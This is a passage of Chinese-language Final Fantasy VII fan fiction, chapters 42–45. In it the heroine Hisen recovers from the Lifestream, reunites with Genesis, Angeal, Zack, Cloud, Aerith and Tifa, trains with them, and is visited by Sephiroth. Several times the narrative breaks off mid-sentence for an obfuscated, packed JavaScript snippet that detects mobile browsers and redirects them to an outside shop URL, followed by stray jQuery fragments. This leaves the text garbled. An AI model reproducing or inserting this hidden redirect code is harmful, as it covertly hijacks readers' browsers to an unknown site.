杰内西斯回过头,雾青色的瞳孔仿佛在那一瞬间凝固。他们站在温柔而璀璨的光河当中,仿佛来自两个世界的人隔着彼岸相望。 “哈……原来是这样……”他忽然低下头,很轻地笑了一声,“苦恼之终,寻得之愿,是我的救赎,和你安详的沉眠——终于找到了,女神的赠礼。” “杰内西斯?”希森眨了眨眼,“我们这是一起上天堂了吗?” 回答她的是拍在头顶的诗集,杰内西斯恢复了往日里漫不经心的神色:“脑子没治好就回去魔石那儿躺着。” 哦,所以她这是打赢了复活赛。 或许是因为完成了星球的使命,来自地底的生命之流逐渐消散,只留下星星点点的莹绿融入周围的晶体。虽然她身上的伤都已经痊愈,但还是被不讲道理的红发青年按着回到了那堆治疗系魔晶矿当中。 “这是哪里?” 红发的青年扔给她一瓶白苹果汁,“巴诺拉村的一个矿洞。” “这里,这些,还有这个,敲下来能卖好多钱,天然魔石可比神罗的人工产品质量好多了。”她一边喝果汁一边感叹,“你是怎么把我带回来的?” “那个时候,我也在尼布尔海姆。”杰内西斯沉默了片刻,“在魔晄炉。” 希森愣了一下,她在出发前确实发过信息给杰内西斯,但是没有收到回复。 “你找到的治疗方案起效了,安吉尔的伤开始愈合,但是我们还需要更多杰诺瓦细胞。”他的声音很平静,带着某种不易察觉的讽刺,“所以我去找了萨菲罗斯,他当时在看那具尸体,表情像死掉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211041|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他亲妈一样。” 她沉默了片刻,最终还是没忍住:“……那确实是他妈。” “我当时无法理解,为什么就算是怪物,他也是完美的怪物。”杰内西斯自顾自地往下说,“被复仇占据了的我的灵魂——我问他你为什么不在,是不是完美的怪物也会被抛弃。” 正在喝苹果汁的希森一下子被呛到了——他这么说话还没被正宗串起来,真的是个奇迹。 “然后我离开了。”红发的特种兵停顿片刻,移开了目光,“尼布尔海姆村起火之后,我联系不上你,他们说你去了魔晄炉。” 那场爆炸确实毁掉了整个魔晄炉,神罗对外宣称英雄萨菲罗斯在尼布尔海姆因事故殉职,并掩盖了他放火屠村的罪行,转移了所有幸存者。但设施内部的监控录下了最后的真相,金发少年手中的长剑从身后贯穿了萨菲罗斯的身体,几乎将他拦腰斩断,然而银发的1st实在是太过强大,即便是在重伤情况下也依然将克劳德和扎克斯打倒在地。 在摄像头碎裂前的几分钟,银发的特种兵来到一具破碎的躯体前,俯下身似乎说了些什么,随后毫不犹豫地跳进了翻腾的魔晄池。 等杰内西斯赶到的时候,一切都已经结束。他在神罗到达之前带走了希森,用魔石将她封印起来,再带到矿洞中治疗。 “这三年我尝试了很多办法,但你一直没有醒来,安吉尔也一样。”他自嘲般地笑了一声,“直到生命之流将你送回来,我听到了星球的意志,终于获得了君临女神的认可。” “等等,”希森愣了一下,“你说三年?” 杰内西斯看了她一眼:“你以为呢?” 生命之流里没有时间的概念,所以她一直以为自己最多只离开了几个月,没想到现实世界里已经过了整整三年。 “也就是说萨菲罗斯在生命之流里追杀了我整整三年。”她气急败坏,“他杰诺瓦的!这是人能干出来的事吗?” “你在说什么?”杰内西斯很诧异,“他本来就不是人。” 希森哽住:“……那倒也是。” “萨菲罗斯到底做了什么?”红发的青年侧过头,“能让你做出那种选择。” “他疯掉了,想要毁灭星球,所以我做了我该做的事情。”她转移了话题,“你刚才提到安吉尔,他的情况怎么样了?” 身后忽然传来细微的响动,像是有什么东西碎裂开来。她条件反射般回过头,随后愣住了:“……你怎么没说我们一直坐在安吉尔头顶聊天?” “你也没问啊。”身旁的人面不改色,“放心,我觉得他不会介意的。” 和杰内西斯一样,生命之流彻底治愈了安吉尔身上的劣化和残余的伤势。魔晶石的封印开始解除,初醒的黑发特种兵转过头,青蓝色的眼眸中溢满不加掩饰的震惊:“杰内西斯……希森?” “安吉尔,”希森朝他绽开一道开朗的笑,“欢迎回家!” 42.第 42 章 这一次星球终于良心发现,重生点没有设置在贫民窟孤儿院,而是改成极其稀有的天然魔晶矿洞,还给额外赠送了两名前1st队友,她第一次体会到了升官发财死老公的快乐。 希森原本的计划是立刻回去找爱丽丝,但在听说昏迷的扎克斯和克劳德被神罗带回科学部门后又改变了主意。在塔克斯的监控记录里,他们在那场战斗中曾经多次尝试带走她,因此被萨菲罗斯重伤,现在她也不能放任两名少年成为神罗的实验品。 她还在思考要怎么说服杰内西斯和安吉尔,却发现两人已经开始收拾武器。红发的青年侧过头,语气自然得像是在问今天的晚餐:“我们什么时候去进攻神罗?” “……我们为什么要去进攻神罗?”希森头顶长出很多问号,“不是说路法斯接手之后改善了很多吗。” “你不是要去救那两个小孩?” “能不能想点和平的方式。”希森终于明白为什么总部要给特种兵安排随行的塔克斯,就是为了防止这群热血青年一言不合就动手,“我们现在很有钱,直接把他们买回来就行了。” 杰内西斯扬起眉毛:“如果神罗不同意呢?” 她答得理所当然:“那就去进攻神罗啊。” 安吉尔扶住额头,看上去想要说些什么,但最终还是放弃了。 路法斯·神罗本质上是个商人,而且对于宝条遗留下来那些丧心病狂的实验没有太大兴趣,只在乎公司的利益和发展。所以希森成功用三年的天然魔晶矿开采权换走了科学部门两个无关紧要的实验品,条件是他们日后永远不能出现在米德加,否则会被列入通缉范畴。 扎克斯的情况比较好,只是因为魔晄中毒和麻醉药物陷入昏迷,安吉尔主动承担了照顾徒弟的责任。但克劳德的身体状态就比较复杂,宝条在先前的体检中给他注入了休眠的杰诺瓦细胞,如今他的身体正在和被激活的外来生命体融合,不知道何时才能苏醒。希森只能联系尼布尔海姆事件的幸存者,尝试找到能够暂时安置他的亲属,最后有位名叫蒂法的女孩把他带了回去。 完成这一切后,希森才发现自己的头发已经长过了腰际,日常生活还好,在战斗时就会有点麻烦。她犹豫了片刻,还是干净利落地把长发剪短到了齐肩的位置,虽然看着一缕缕柔顺的发丝化为灰烬非常可惜,但有些事情到了该舍弃的时候就需要放手。 爱丽丝送的耳钉在尼布尔海姆的爆炸里碎掉了一只,不过单边的耳饰和新发型意外地很搭,离开神罗后她也不需要再穿万年不变的黑色西装,稍作伪装就能混进米德加的贫民窟。在教堂里种满百合花的褐发少女也换去了以往那身浅色的碎花裙,红色的短款外套明媚而亮丽,爱丽丝仿佛早就预见了有人会在今天到访,抱着一束盛开的百合站在门口朝她微笑。 “欢迎回来!” 作为能够与星球沟通的种族,赛特拉少女已经得知了希森的来历,也比她更了解那个曾经作为天敌的外星物种。萨菲罗斯凭自己的意志彻底掌控了杰诺瓦,并从生命之流中汲取了大量知识,正在计划重组自己的身体。虽然黑魔石被封印,回到了这条世界线原本的位置,但他还是得到了一部分未来的留下的力量,一切正在向原本的命运靠拢。 简单来说就是她那位死去的前男友正在从生命之流里爬回来,并继承外星妈妈的遗愿开始毁灭星球。 “没关系,克劳德和扎克斯会在他成功之前醒过来。”希森笑了笑,“我们还有机会。” “你知道我担心的不是这个,”爱丽丝担忧地看着她,“萨菲罗斯正在找你。” “那就在他对我动手之前阻止他好了。”她语气轻松,“别担心,这一次有大家在身边。” 少女美丽的绿色眼眸宛如一汪澄澈而悲伤的湖水,但爱丽丝最后还是什么也没有说,唇角弯起明媚而俏皮的弧度:“嗯,有希森在,我不担心。” 米德加到处都有塔克斯的监控,希森作为一个早就死在三年前的人不适合久留,很容易被前同事认出来。她赶在日落之前离开了圆盘城区,过来接她的杰内西斯一见面就扔过来两个盒子:“你要的装备做好了。” 希森原来的储物手环因为不堪魔晶石爆发的力量碎裂,所以便拜托红发的前1st找人重新定制了一个。她当时说不要绿色和银色,结果对方选择一枚赤红的魔石,鲜艳得会在黑暗中发光发亮,就差对敌人大喊我在这里快来打我。 “你的审美——” “里面有巴哈姆特的召唤石。”杰内西斯一句话就把她还未说出口的话堵了回去,“冰系和雷系。” “——一直都很靠谱,红色是最完美的。” 希森果断拐了个弯,立刻戴上手环。另一个盒子里是一只同色系的耳钉,和杰内西斯经常戴的那款有点像,仅从光泽就能看出材质来源于高阶魔石。 她有些意外:“为什么给我这个?” “和你另一只耳钉的作用差不多,区别在于如果碎了我会立刻知道你的位置。”他漫不经心地摆了摆手,“不过我很忙,不是快死的事都别烦我。” 等他走远了几步,希森立刻在内心大喊杰内西斯的名字。 红色的身影顿了顿,掌心燃起火焰。 萨菲罗斯要来追杀我,我快死了。她赶紧补充,教我怎么用巴哈姆特战斗。 红色的身影转过头,语气不耐:“闭嘴,明天再说。” 红孔雀珍珍课堂开办了一个月,希森终于忍不住找机会翘了课,带着小蛋糕跑去米德加找爱丽丝。杰内西斯宽于待己,严于待人,要求她朝六晚九全年无休,每天都是安吉尔一边叹气一边把她捡回去矿洞里养伤,比以前在塔克斯上班还残酷。 七月末的时候,金百合已经长满了整个教堂,两道用斗篷把自己裹得严严实实的身影出现在门口。希森以为是神罗派来的人,刚想要动手,脱下帽子的扎克斯就冲上来一把抱起两个女孩转了一圈。 “安吉尔本来想告诉你们,但是我想给你们一个惊喜。”不需要她开口,小狗就像竹筒倒豆子一样把所有事情都交代了,“克劳德喜——的好朋友蒂法帮我们混进米德加,她在隔壁街区开了一家酒吧叫第七天堂。” 被喊到名字的身影摘下头套,碧绿的瞳孔仿佛深邃的宝石。克劳德的容貌并未发生太大改变,气质却和以往那个青涩的少年截然不同,俊美的五官因不带任何表情而显得有些难以接近。 他走到希森面前,非常庄重地说:“谢谢你救了我们,两次。” 尼布尔海姆是克劳德的故乡,亲眼目睹景仰的英雄放火屠村,又被激活的杰诺瓦细胞折磨了三年,性格会发生转变也并不奇怪。希森揉了揉那头耀眼的金发,少年愣了一下,浑身不自然地忍耐着没躲开。 “我们是朋友啊,那天你们也来救我了。” “是一辈子的好朋友,”扎克斯一把揽住他们,“无论发生什么事情都不会扔下对方的那种!” “……我听说你们为了救我花了很多钱,我大概算过了。”克劳德相当耿直地开口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266812|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我一定会努力偿还的,有什么任务都可以交给我去做。” 一旁的爱丽丝没忍住笑出了声,引来金发少年莫名其妙的目光。希森以让克劳德带自己去第七天堂喝酒为借口,给身旁这对久别重逢的情侣留出独处的时间。 三年未见,金色的陆行鸟已经比她高出半个头,毛茸茸的脑袋在一家酒吧门口停下。 “到了,就是这里——” 不等希森反应过来,他的声音忽然断开。金发少年痛苦地捂住头,脸上浮现出某种交杂着迷茫和震惊的神色,死死地盯着她身后的方向。 “——萨菲罗斯?” “什么?”希森呼吸一滞,猛然回过头,却发现街道上除了他们两个外空无一人。这个时间点的贫民窟很安静,四周也没有任何可以藏身的地方。 碧绿的瞳孔骤然收缩,克劳德上前一步将希森挡在身后,像是将她和什么人隔开:“你这家伙在胡说什么——” 萨菲罗斯还在生命之流,失去躯体的他应该没办法直接出现在现实世界才对。但克劳德体内有杰诺瓦细胞,或许能够感知到对方。 “克劳德!”希森拉住他,随时准备展开结界,“你看到什么了?你还好吗?” “我……”金发的少年后退了一步,似乎终于反应过来,“不,我没事。” 对上她担忧的目光,他又重复了一遍:“我没事,抱歉。” 希森还想问清楚,酒吧门口便走出来一个黑发的女孩,有些好奇地打量着他们:“克劳德,你怎么站在外面,这位是新的朋友吗?” 克劳德的脸色略显苍白,但神色已经恢复了之前的平静。他显然不愿意提及刚才发生的事情,顺势转移了话题:“蒂法,她就是之前提到过的希森前辈。” 名叫蒂法的女孩有着接近东大陆人的精致五官,她在看到希森的瞬间明显愣了一下,红宝石般的眼眸中亮起几分惊喜:“前辈,你还记得我吗?” “啊,是你。”希森想起来了,是那个在魔晄炉里试图为父亲报仇的女孩,最后被她劝了回去,“你的父亲还好吗?” “多亏了你的魔晶石,后来救援的部队赶到,我的父亲和克劳德的妈妈都及时抢救回来了。”蒂法温柔地朝她微笑,“我可以请你喝一杯酒吗?” 得到肯定的答复后,她拉着希森来到吧台坐下。克劳德被毫不客气地打发去帮忙收拾餐桌,偶尔会回过头看正在调酒的少女。 “那天对你说了很过分的话,真的非常抱歉,后来我才知道你和那些人不一样。”蒂法伸出手,掌心躺着一颗熟悉的魔晶石,“它帮助了很多人,谢谢你,我一直想找机会亲手还给你。” 魔晶石被保养得很好,因使用次数的增多反而比以前的质地更加纯粹,晶体中流转的碧绿光河柔和而美丽,但却像是爆炸引发的强光一样刺痛了她的双眼。 希森握着酒杯的指节因用力过度而泛白,她竭尽全力才维持住冷静的笑容:“你留着吧,它在你手里能帮到更多的人。” “欸,那你自己怎么办?”蒂法眨了眨眼,“听说那天你受了很重的伤,如果不是把魔石给了我……” “不是你的问题。”希森摇了摇头,“我还有很多魔石,不怎么用得上。” 她现在有一整条魔晶矿脉,天然形成的高阶魔矿远比神罗人造品的质量要好,不再需要当初那颗治疗系魔石了。 “那么这份礼物我就收下了。“蒂法没有再坚持,酒红色的眼眸温柔明媚,“我会保存好它的。” 43.第 43 章 天然魔晶矿除了有治疗的力量以外,还有安眠定神的作用。在矿洞休息的那段时间里,希森几乎不会做梦,睡眠质量说不上很好但是至少安稳;自从搬到米德加边缘的房子里后,她开始越来越频繁地从梦中惊醒。 最初她不记得自己梦到了什么,后来那些混乱的画面越来越清晰,光怪陆离的梦境里无法分清现实与虚幻。她看到自己支离破碎的身体被封存在拥有猫眼光泽的碧绿宝石中,又意识到那不是什么宝石,而是一双含笑的眼眸,绮丽而又深邃。 萨菲罗斯弯起唇角,宛如绞住猎物的银蛇,丝绸般平滑而优雅的音线里带着恶意的愉悦。 “找到你了。”他说,“想我了吗?” 她条件反射地想要动手,下一秒便从噩梦中猛然抽离。这里是安吉尔特意为她挑选的郊区,没有任何污染和纷扰,晴天的晚上能看到漫天星辰;爱丽丝和蒂法一起把屋子布置得温馨又精致,百合的芬芳伴随午夜的微风从窗台飘来。房间里很安静,没有银发的身影,只有被冷汗浸湿的发丝和被褥。 希森下意识地摸向床头柜的药瓶,却发现早就已经空了,伸手的时候还不小心打翻了相框。 皎洁的月色倾泻在冰凉的玻璃上,她看见自己和扎克斯把褐发绿眸的少女抱在中央,身后是一脸严肃的克劳德和向镜头比心的蒂法,一旁的安吉尔把满脸不情愿的杰内西斯强行拉过来,背景是日落时分的教堂,满地的金色花朵被镀上一层闪耀的光。 很漂亮,很美好。 不能再这么下去了,她心想,不能只有她一个人大半夜睡不着。 于是她在凌晨三点敲响了杰内西斯的窗户,喊他出来陪自己训练。看到红发青年被吵醒后气急败坏扬言要把她喂给巴哈姆特的模样,希森瞬间觉得心情变好了。 作为最注重形象的前1st,杰内西斯哪怕是睡觉的时候也从头到尾透出精致,连发丝的位置都不变。娇贵的大少爷坐在阳台围栏上,姿态慵懒随意:“怎么,又梦到不干净的东西了?” 对于希森来说,杰内西斯是个毫无心理负担的倾诉对象。因为他从来不会多问或多说,也不会同情自己,只会评价这一切都是恋爱脑应得的,所有悲伤在他开口的那一瞬间都会转化为对他动手的冲动。 穿着毛绒睡衣的安吉尔从黑暗中走出来,默默地把两杯新鲜榨出来的白苹果汁送进两人手里,像个命苦的老父亲。三个人坐在阳台上看星星,没有再提起沉重的话题。 “劣化消失了,你们以后打算去做什么?” “你指的是把你男友彻底送走之后吗?”杰内西斯躺在栏杆上,“我记得某人好像说过等我回来就一起去看《LOVELESS》歌剧。” “——是前男友,我三年前已经和他分手了。”她纠正,“当时某人扔下我们叛逃,演出票早就过期了。” “那你不会再买?” “珍珍!” 安吉尔伸手拦下即将打起来的两人,动作熟练得让人心疼。 “那你的打算呢,希森?” “环游世界,开采各个地方的魔晶矿,成为世界首富。” 从生命之流回来后,她好像得了奇怪的后遗症,占有欲变得很强,觉得全世界的魔晶石都应该是自己的。杰内西斯认为她单纯就是喜欢钱,毕竟魔晶矿又称流动的金库。 “你一个人上路会很危险,”黑发青年温和地笑了笑,“带上我们吧。” “前提是我们和这个星球都能活到那个时候。”杰内西斯回过头,“打我干什么?这是实话。” 天际泛白的时候,扎克斯和克劳德出现在三人门口,一副随时准备英勇就义的模样。蓝眼睛的小狗从爱丽丝那里听说了杰内西斯对她进行特训的事,天还没亮就拉着陆行鸟一起过来要求参加训练。 “这次我们绝对不会再让你孤军奋战。”扎克斯的脸上没有笑容,“绝对不会再让那种事情发生。” “很感人。”杰内西斯嗤笑一声,“但是我不会对小孩动手,去找别人吧。” 即便是在特种兵时期,红发1st的性格也是公认的非常糟糕,对扎克斯这位后辈更是从来没有好脸色。如果放在以前,两人早已不欢而散,但这一次黑发的少年没有退缩,也没有因对方的嘲讽而表现出任何愤怒。 “杰内西斯前辈,你说得对,我们就是因为实力太弱,所以没能够救下希森,也没能阻止萨菲罗斯。”扎克斯认真地,几乎是一字一顿地说,“所以请你指导我们变强。” 红发的身影头也不回:“你们求我,我就要答应了吗?” “不管是什么要求,我们都会做到。”扎克斯依然没有放弃,他身旁的克劳德也没有丝毫离开的打算。 安吉尔在临别前把破坏剑传递给扎克斯,而扎克斯又在尼布尔海姆把破坏剑交给克劳德。自此以后金发的少年便随身背着这把巨大的重剑,哪怕是休息时分也不曾卸下。他微不可擦地点了点头,似乎在表达自己的立场和好友一致。 杰内西斯扬起眉毛:“我没空,脑子不太好的学生有一个就够了。” 希森咬着早餐做的虾饺,刚从门口探出头来看热闹,就被莫名其妙扎了一刀。好在安吉尔人如其名,像天使一样及时出现,成功阻止事态往更糟糕的方向滑去:“那就加上我吧,虽然有些生疏了,但我会尽力帮上忙。” “……只有一次机会。”红发的青年终于松口,“今天之内打不赢我,以后就不用来了。” 一天之内成长到能打败前1st的水平,自然是不可能实现的事情。但第二天一早两位少年准时出现的时候,杰内西斯没有再把人赶走;希森本想以此为借口逃课,然而还没跑出两米就被巴哈姆特逮了回去。于是五个人的训练就这么一直持续下去,没多久后爱丽丝和蒂法也加入队伍,对战演变成了群殴。 差点在对战中输掉的杰内西斯对此非常不满,认为希森应该加入他和安吉尔。两支队伍为了争夺她的归属权大打出手,最后一致决定一三五去教师队,二四六去学生队,周日交给她自己决定。 希森怒了:“连一天休假都不给我是吧?” 杰内西斯看了她一眼:“今天周三,快点过来。” “……别以为你是队友我就没办法打你。”她发动了钞能力,“克劳德,我雇佣你去打杰内西斯,命中一次2000Gil。” 陆行鸟二话不说就冲上去了。 陆行鸟被长剑挑飞。 陆行鸟又冲上去了。 陆行鸟打中了杰内西斯。 陆行鸟进步飞快,在还清债务的道路上疾驰。 类似的情况每天都在上演,他们的进展比想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318261|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象中的还要快,在新年到来的前一天,小队终于成功打败了两位前1st。为了庆祝这场来之不易的胜利,爱丽丝和扎克斯邀请大家一起去看米德加的跨年烟火晚会。 对于这种活动,杰内西斯必然是拒绝的,但其他人又怎么会放过这个机会。最后红发的青年被一群人连拖带拽地拉到现场,只能冷着脸靠在一个不起眼的角落里读那本万年不离手的诗集。面无表情的克劳德看起来很想加入对方,却被扎克斯和安吉尔拉走去给女孩子们买烟花了。 爱丽丝和蒂法在她两旁坐下,一起靠在露台边缘等待倒计时。褐发少女递给她一块蛋糕,翠绿的眼眸俏皮地眨了眨:“一个全新的开始有助于走出过去的感情哦!” 希森一时没能反应过来。 蒂法唇角弯起一抹意味深长的弧度:“虽然性格上有些缺点,但是能力很强,外貌也很出色,重点是对你特别好。是个很不错的选择呢!” “……等等,不是,”她差点被蛋糕噎住,“你们在说什么?” 爱丽丝轻轻点了一下耳垂的位置:“你知道我们说的是谁,大家都看到了,只是一直不好意思问。” “怎么可能,我和他在一起的可能性比我跟前男友复合的可能性还低,那枚耳坠只是用来对付萨菲罗斯的魔石。”希森差点跳起来,“杰内西斯帮我是因为星球的意志,他的真爱是《LOVELESS》。” “原来是这样。”两名少女虽然嘴上这么说,脸上的表情却一点都不像是相信,“那么也可以考虑一下另一位哦,情绪稳定,正直可靠,很会照顾人。” “……安吉尔就像我们的妈妈一样。”她义正言辞地说,“他也把我们当成孩子照顾。” “欸,”爱丽丝似乎突然想到了什么,“西斯内前辈说过你更受女孩子欢迎,难道是——” “啊,怪不得。”蒂法恍然大悟,“希森喜欢什么类型的女孩子呢?” 希森:“……” 只要不是外星人就行。 两名少女看到她的表情后笑成了一团,倒在她身上不愿起来。人群里忽然爆发出一阵巨大的欢呼,伴随着跨年倒计时的声音,绮丽的烟火在夜幕中绽放,彩色的火焰如同一场绚烂的流星雨。 城市中心当然不是观看烟火的最佳位置,这里太亮了,视野也不够开阔。但烟火的美丽与否从来不在于周围的环境或是它本身,而是在于身边的那个人。 很久以前,她曾经和另一个人在米德加的最高处看到最震撼的烟火。有一年他们赶不上晚会,她就亲手为他制造了一场。 他看着她,说烟火很美。 后来那个人死在了尼布尔海姆的火海里。 只属于她一个人的英雄就像烟火一样,那么耀眼夺目,却又转瞬即逝。 米德加的烟火晚会每年都有,但她深爱的人再也不会回来了。 “——我们回来了!” 远处跑来几道熟悉的身影,怀里满满当当是各式各样的烟花棒。扎克斯把大把大把的烟花塞进她们三个手里:“活动开始了,我们快点过去吧!” “嗯,我们走吧!”爱丽丝和蒂法一人一边,拉起她的手。 但是没关系,有很多人都回来了。 “珍珍,别念了,快点跟上!” 今晚的烟火很美。 44.第 44 章 跨年晚会通常会持续一整个通宵,第二天清晨的时候,其他人都累倒在第七天堂。希森最近不怎么睡得着,基本全靠共鸣能力在支撑,安吉尔又包揽了收拾吧台的任务,无事可做的她只能上去天台,试图通过冬季的晨风让疲惫的大脑清醒过来。 结束了彻夜狂欢后的米德加寂寥无声,昨晚的喧嚣仿佛只是一场绮丽的幻梦,时间把回忆分割成为两个截然不同的世界。 有这个想法的不只是她一个人。 晨光勾勒出少年的轮廓,身穿特种兵制服的剪映坐在阳台边缘,出神地望向遥远的天际。希森还是第一次见到这幅模样的扎克斯,平日里的他总是意气风发,神采飞扬,拥有用不完的活力和热情,像个随时随地散发热量的太阳,无论跌倒多少次都会笑着爬起来。但此刻的他安静得宛如一座雕塑,唯有被微风扬起的发丝证明时间并非静止。 她坐到少年身旁,一起眺望初升的太阳。 “痛吗?”扎克斯忽然开口。 “不痛,”她说,“就像睡着了一样。” “抱歉。”少年抱着膝盖,湛蓝的眼眸仿佛夏季的晴空,“我当时没能阻止萨菲罗斯,甚至做不到把你带回家。” “在尼布尔海姆发生的事情,是我自己的选择,和你们没有关系。”她摇了摇头,“每个人都有属于自己的使命,你无法拯救所有人。” “……我以前曾经梦想成为英雄,直到现在,才知道自己离这个目标的差距有多大。” 希森揉了揉扎克斯被风吹乱的短发:“任何人都可以是英雄,比如明知道会失败还是选择去拯救自己的朋友,让她知道这还不是世界末日,会有人为了她奋不顾身。” 小狗笑了起来,周围的空气仿佛都被点亮了:“下次不要再一个人冲上去了,打架怎么能不叫上朋友。” 她答应了:“好。” 小狗不知道从哪里拿出两根烟花棒,十分期待地看着她:“卖烟花的老板说这是隐藏款,所以我特意留下来了。” 于是两个人大白天在阳台边缘放烟花,所谓的隐藏款就是燃烧时会掉出很多五颜六色的星星和亮片,像下了一场彩色的雨。很不幸的是碰巧有人捧着熟悉的诗集从楼下走过,红发的青年抬起头,掉在身上的饰品瞬间随着火焰化为灰烬。 杰内西斯扬起眉毛:“你们两个急着回生命之流就直说。” 扎克斯回过头:“我们现在跑还来得及吗?” “分开跑,他一个人追不过来。”希森早就顺着窗台跳进了后面的巷子里,“交给你了扎克斯!” 心安理得地卖掉了小狗,她先去教堂给百合花浇水,又买了一些新鲜的食材,最后才踏着暮色回到郊区。这段时间的生活几乎让希森产生了什么都不需要担心的错觉,萨菲罗斯还没有成为神,两个星球安然无恙,她得到了想要的自由和安宁。 日暮西沉,郊区的夜晚静谧而安宁。爱丽丝之前在庭院里种下了许多新的百合,但大概是因为时节和天气的问题,大部分都没有开花,仅有的几朵花蕾也摇摇欲坠,希森给它们逐一浇水和检查,确保没有任何一盆枯萎后才走进门廊。 一切都和平日里没有什么不同,她忽然意识到,只是太过安静了。 没有虫鸣鸟啼,没有叶落风声,整个世界就像静止了一般。 或者说更像是在躲避什么东西,猎物面对天敌的搜捕时会屏息凝神,竭尽全力降低自己的存在感。 不应该这么安静的。 她的第一反应是神罗发现了自己的存在,然而很快又否认了这个猜测。她在小屋周围设下了魔晶石结界,哪怕是两位前1st也无法做到不留任何痕迹。 除非对方并不是人类。 直觉正在疯狂发出预警,她习惯性正要开灯的手猛然顿住。门廊尽头的客厅笼罩在黑暗当中,却并非空无一人。丝丝缕缕的微弱月光透过窗户倾泻而入,隐约勾勒出沙发上雕塑般完美无瑕的轮廓,使万物陷入死寂的罪魁祸首宛如蛰伏于阴影中的毒蛇,天然的压迫感令人几乎无法呼吸。 那双宝石般的竖瞳宛如浮于黑暗中的两点磷火,闪烁着愉悦而残忍的微光。早应死去多年的幽灵回到人间,战栗和不安顺着血液蔓延。 “好久不见,希森。”她曾在无数个梦魇中听过的声音好似丝绸平滑优雅,低沉悦耳,尾音里尚带着不紧不慢的笑意,“玩得开心吗?” 她下意识地后退一步,将近失控的心脏疯狂撞击着肋骨,一片死寂里甚至能清晰地听见急剧的心跳。 眼睛已经适应了黑暗,银发竖瞳的男人优雅而恣意,仿佛身下所坐的不是沙发,而是星球末日以后的王座。萨菲罗斯的面容依旧与她记忆中的完全一致,然而气质却又全然陌生,属于英雄的温和与克制早已不复存在,取而代之的是阴鸷森冷的侵略性和压迫感,银鳞的蛇终于卸去伪装,亮出獠牙与毒汁。 在捕食者面前,任何示弱的举措是致命的错误,只会暴露自己的破绽和弱点,所以她没有尝试逃跑,也没有表露出任何情绪。 “恐惧,愤怒,不甘,”萨菲罗斯饶有兴致地弯起唇角,“啊,还有一些很有趣的东西,但你好像不想被我发现。” 杰诺瓦拥有读取思维的能力,她内心的想法无所遁形。希森没有理会他的话语,平静地开口:“你大费周章离开生命之流,应该不只是为了和我叙旧吧?” “看来那个孩子并没有告诉你,”覆盖着黑色皮革的指抵住唇畔,他的语气温柔得诡异,“我来拿回属于我的礼物。” 她冷冷地看着他:“我不属于你。” “哦?”萨菲罗斯嘲弄般地轻笑一声,随后不紧不慢地站起身,将近两米的高度让偌大的客厅变得狭窄而迫人。 两人之间的距离骤然缩短,仿佛只是一个眨眼之间,对方冰冷的气息便扫过了她的耳畔。他们离得很近,近得希森能看清鸦羽般的睫毛微微颤动,伸手便能触碰到那张俊美面容上每一寸完美无瑕的轮廓。她不动声色地将手背到身后,掌心凝出锋利的冰茫。 “负隅顽抗毫无意义,无论是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浑身的力气仿佛都在刹那间被抽空,本就摇摇欲坠的伪装彻底碎裂。希森扶着墙壁缓缓坐在地上,冷汗浸湿了额前的发丝。 萨菲罗斯最近并没有拿到新的杰诺瓦残片,理论上来说他的力量不应该恢复得这么快。难道这个世界也有类似中元节或者万圣节的日子,每年一到特定时间就鬼门关大开? 即便只是思念体,她也能凭借直觉感知到对方的力量,萨菲罗斯并不是不能对她动手,只是暂时不打算对她动手。他在等待,优秀的猎人往往具备足够的耐心,只会选择在最好的时机出手。 也许过了许久,也许只是一瞬,凝固的时间重新开始流动。希森终于艰难地平复下呼吸,在黑暗中摸出自己的手机,点开了置顶的联系人。 “大半夜的,你见鬼了?”对方几乎是下一秒就接通了电话。 “哇哦,这都能猜到,珍珍太聪明了。”她非常潦草地夸赞,“说出来你可能不信,死去的前男友突然开始攻击我。” 45.第 45 章 拯救世界的主线任务被迫提上了日程。 见到萨菲罗斯的并不只是她一个人,克劳德的精神状态越来越差,他不时会看见不属于自己的记忆或者是幻象。 ——宝条给他注射的不仅仅是杰诺瓦细胞,还是来自萨菲罗斯身上的杰诺瓦细胞,作为曾在尼布尔海姆重伤对方的人,他被萨菲罗斯选为复活的锚点。根据杰诺瓦细胞互相吸引与聚合的特性,萨菲罗斯恢复的程度越高,克劳德受到的影响就越大。 